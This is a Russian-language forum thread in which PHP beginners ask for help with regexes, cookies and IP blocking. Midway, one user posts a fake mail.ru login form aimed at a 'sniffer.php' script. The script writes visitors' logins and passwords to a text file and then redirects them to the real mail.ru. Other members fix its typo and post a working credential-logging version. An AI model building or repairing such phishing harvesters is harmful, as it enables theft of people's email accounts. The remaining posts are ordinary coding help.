[php] Новичкам: задаем вопросы

Discussion in 'PHP' started by _Great_, 26 May 2007.

Thread Status:
Not open for further replies.
  1. phpdreamer

    phpdreamer Member

    Joined:
    26 Jul 2009
    Messages:
    522
    Likes Received:
    86
    Reputations:
    19
    Komyak, посмотри это http://www.baksik.ru/baze/PHP/13.php
     
    1 person likes this.
  2. KrafT

    KrafT Elder - Старейшина

    Joined:
    29 Nov 2004
    Messages:
    62
    Likes Received:
    2
    Reputations:
    0
    Помогите нубу! Непонемаю почему!

    PHP:
    $regexp2 '/userdetails.php?id="([0-9,a-z,A-Z,]+)"/';
        
    $friends_pages $page+1;
        
    $friends_ids = Array();
        echo 
    "Loading friendlist...\r";
        for (
    $f $page$f <= $friends_pages$f++) {


    $q->Get("http://www.web.web/users.php?letter=a&page=$f");
     
             
    file_put_contents($inc_dir.'/friends.html'$q->Result);
             
    $content2 file_get_contents($inc_dir.'/friends.html'$q->Result);     
             
    preg_match_all($regexp2$content2$flPREG_SET_ORDER);
              foreach (
    $fl as $fll) {
                if (!
    in_array($fll[1], $friends_ids))
                    
    $friends_ids[] = $fll[1];
            }
        }
        
    $friends_count_real count($friends_ids);
        echo 
    "Friendlist loaded. $friends_count_real IDs\n";
    В friends.html Нужно чтоб нахадил ид юзерав в friends.html это выгледит так <a href="userdetails.php?id=316982">
     
  3. KrafT

    KrafT Elder - Старейшина

    Joined:
    29 Nov 2004
    Messages:
    62
    Likes Received:
    2
    Reputations:
    0
    А то тупо 0идс найдено =[
     
  4. xofffff

    xofffff New Member

    Joined:
    15 Nov 2009
    Messages:
    0
    Likes Received:
    3
    Reputations:
    0
    PHP:
    <input value="login poli'zovatelya" name="login">
    <
    input  type="password" name="password"><input type="hidden" name="account" value="[email protected]"></td>                     
    <
    td width="121" valign="top">
    <
    select name="domain"
    <
    option value=mail.ru>@mail.ru</option>
    <
    option value=inbox.ru>@inbox.ru</option>
    <
    option value=list.ru>@list.ru</option>
    <
    option value=bk.ru SELECTED>@bk.ru</option
    Методом
    PHP:
      <form name="Auth" method="post" action=//www.site.ru/sniffer.php target="_self">
    Нужен сниффир на php что бы сохранял данные из этих полей в txt файл.

    У меня есть сниффер
    PHP:
    <?php 
    $f
    =fopen("moil.txt","at"); # файл куда сохранять 
    flock($f,2); 
    fputs($f,$_GET['Login']."@"); #логин 
    fputs($f,$_GET['Domain']); #домен 
    fputs($f,";".$_GET['Password']."\n"); # пароль 
    flock($f,3); 
    fclose($f); 
    ?> 
    <script>document.location.href="http://win.mail.ru/cgi-bin/readmsg?id=121112312";</script>
    Но он не работает в файл сохраняется только .@ и все.
    :confused: :confused: :confused:
     
  5. xofffff

    xofffff New Member

    Joined:
    15 Nov 2009
    Messages:
    0
    Likes Received:
    3
    Reputations:
    0
    Fatal error: Call to undefined function: fwopen() in /home/a/site.ru/WWW/index.php on line 2
    :(
    Вот это выскакивает.
    Разобрался ты опечатался спасибо тока не fwopen а fopen
     
    #12785 xofffff, 21 Nov 2009
    Last edited: 21 Nov 2009
  6. Osip

    Osip New Member

    Joined:
    20 Jan 2008
    Messages:
    14
    Likes Received:
    4
    Reputations:
    0
    дак он просто опечаталсо вот тут: fwopen(
    замени на fopen
     
  7. gisTy

    gisTy Elder - Старейшина

    Joined:
    24 May 2008
    Messages:
    432
    Likes Received:
    160
    Reputations:
    27
    Code:
    $open = [SIZE=3][b]fopen[/b][/size]('file.txt','a+');
    $string = $_POST['login'].':'.$_POST['password'].':'.$_POST['account']."\r\n";
    fwrite($open,$string);
    fclose($open);
    
    там просто опечатка
     
  8. flagmen

    flagmen New Member

    Joined:
    14 Nov 2009
    Messages:
    0
    Likes Received:
    0
    Reputations:
    0
    Помогите со скриптом forum.antichat.ru/thread157667.html тут кто может :(
     
  9. DiHWO

    DiHWO Member

    Joined:
    23 Oct 2009
    Messages:
    93
    Likes Received:
    10
    Reputations:
    0
    Подскажите а то я чего - то недопонимаю. В скрипте пхп установил куки, имя время, значение. Все легко и просто. Но вот как с помощью скрипта считывать куки и понимать что зашел именно юзер вася а не петя, и вообще то, что этот юзер авторизированн.
     
  10. amBX

    amBX New Member

    Joined:
    29 May 2009
    Messages:
    4
    Likes Received:
    2
    Reputations:
    0
    Привет всем, подскажите пожалуйста как сделать так чтобы на страницу не могли войти с определенного Ip адреса, т.е. со всех смогли заходить, а с данного не могли. Спасибо заранее.
     
  11. erihtoney

    erihtoney Member

    Joined:
    3 Mar 2009
    Messages:
    91
    Likes Received:
    73
    Reputations:
    20
    .htaccess
    HTML:
    Order allow,deny
    Allow from All
    Deny from IP
     
  12. erihtoney

    erihtoney Member

    Joined:
    3 Mar 2009
    Messages:
    91
    Likes Received:
    73
    Reputations:
    20
    Предположим ты отправил пользователю id и хеш пароля (pass)
    Обрабатывай куки, которые получаешь от пользователя и делай запрос в бд, действительно ли существует юзер с данным иди и паролей, если да, то выполняй определенную последовательность действий, в том числе выборка данных и т.д.
    Иначе, можешь выводить форму авторизации
     
  13. DiHWO

    DiHWO Member

    Joined:
    23 Oct 2009
    Messages:
    93
    Likes Received:
    10
    Reputations:
    0
    вот я и спрашиваю как их обработать! то что через бд проверить можно я знаю, а вот как обработать нет.
     
  14. erihtoney

    erihtoney Member

    Joined:
    3 Mar 2009
    Messages:
    91
    Likes Received:
    73
    Reputations:
    20
    id можно прогнать через intval
    хеш можно проверить через регулярку, либо
    mysql_real_escape_string
     
  15. KrafT

    KrafT Elder - Старейшина

    Joined:
    29 Nov 2004
    Messages:
    62
    Likes Received:
    2
    Reputations:
    0
    Непонемаю почему! Ненаходит ид юзэроф

    PHP:
     $regexp2 '/userdetails.php?id="([0-9,a-z,A-Z,]+)"/';
        
    $friends_pages $page+1;
        
    $friends_ids = Array();
        echo 
    "Loading friendlist...\r";
        for (
    $f $page$f <= $friends_pages$f++) {


    $q->Get("http://www.web.web/users.php?letter=a&page=$f");
     
             
    file_put_contents($inc_dir.'/friends.html'$q->Result);
             
    $content2 file_get_contents($inc_dir.'/friends.html'$q->Result);     
             
    preg_match_all($regexp2$content2$flPREG_SET_ORDER);
              foreach (
    $fl as $fll) {
                if (!
    in_array($fll[1], $friends_ids))
                    
    $friends_ids[] = $fll[1];
            }
        }
        
    $friends_count_real count($friends_ids);
        echo 
    "Friendlist loaded. $friends_count_real IDs\n";  
    Непойму почему он неберет идшники с friends.html . В Friends.html eto vigledit tak <a href="userdetails.php?id=316982"> вот в концэ ид юзэра. Помогите пожалусто :)
     
  16. Pashkela

    Pashkela Динозавр

    Joined:
    10 Jan 2008
    Messages:
    2,750
    Likes Received:
    1,044
    Reputations:
    339
    1. в регеспе у тебя id="([0-9,a-z,A-Z,]+)", т.е. id в кавычках, а пишешь, что в исходниках так: "userdetails.php?id=316982">

    2. если все таки так, как в исходниках, так попробуй:

    PHP:
    <pre>
    <?php 
    $a 
    '<a href="userdetails.php?id=316982">';
    preg_match_all('#a href="userdetails.php\?id=(.*)">#',$a,$b);
    print_r($b);
    ?>
    </pre>
    PS: Знак вопроса "?" - служебный символ в регулярках, требует слеширования
     
    1 person likes this.
  17. phpdreamer

    phpdreamer Member

    Joined:
    26 Jul 2009
    Messages:
    522
    Likes Received:
    86
    Reputations:
    19
    для строки

    регулярка :
    PHP:
    $searchpreg_match_all('#id=([0-9]+)#'$string$n); // в $string строка в которой ищем
    print_r($n[1]); //в массиве $n[1] все id
    дальше сам... скрипт не сложный, но ты накрутил нечно ужасное

    ----
    Pashkela опередил
     
    #12797 phpdreamer, 21 Nov 2009
    Last edited: 21 Nov 2009
  18. Pashkela

    Pashkela Динозавр

    Joined:
    10 Jan 2008
    Messages:
    2,750
    Likes Received:
    1,044
    Reputations:
    339
    тут ты немножко не прав, цеплять просто по наличию в строке "id" чревато, открой любую интернет-страницу, CTRL+F "id" и поймешь. В регеспах краткость конечно сестра таланта, но корректная краткость
     
    1 person likes this.
  19. phpdreamer

    phpdreamer Member

    Joined:
    26 Jul 2009
    Messages:
    522
    Likes Received:
    86
    Reputations:
    19
    согласен с тобой,
    но мне также кажется что [0-9]+ надежнее чем .*
     
  20. DiHWO

    DiHWO Member

    Joined:
    23 Oct 2009
    Messages:
    93
    Likes Received:
    10
    Reputations:
    0
    эхх как бы вам объяснить... У меня есть скрипт. В скрипте сеткуки. И все. Я на станицу зашел, в браузере появились куки. Теперь мне нужен код, который сможет определить есть ли у меня куки и считать оттуда данные. То что вы написали я непонимаю. Я новичок в пхп. Мне нужен скрипт который будет лезть в куки браузера
     
Thread Status:
Not open for further replies.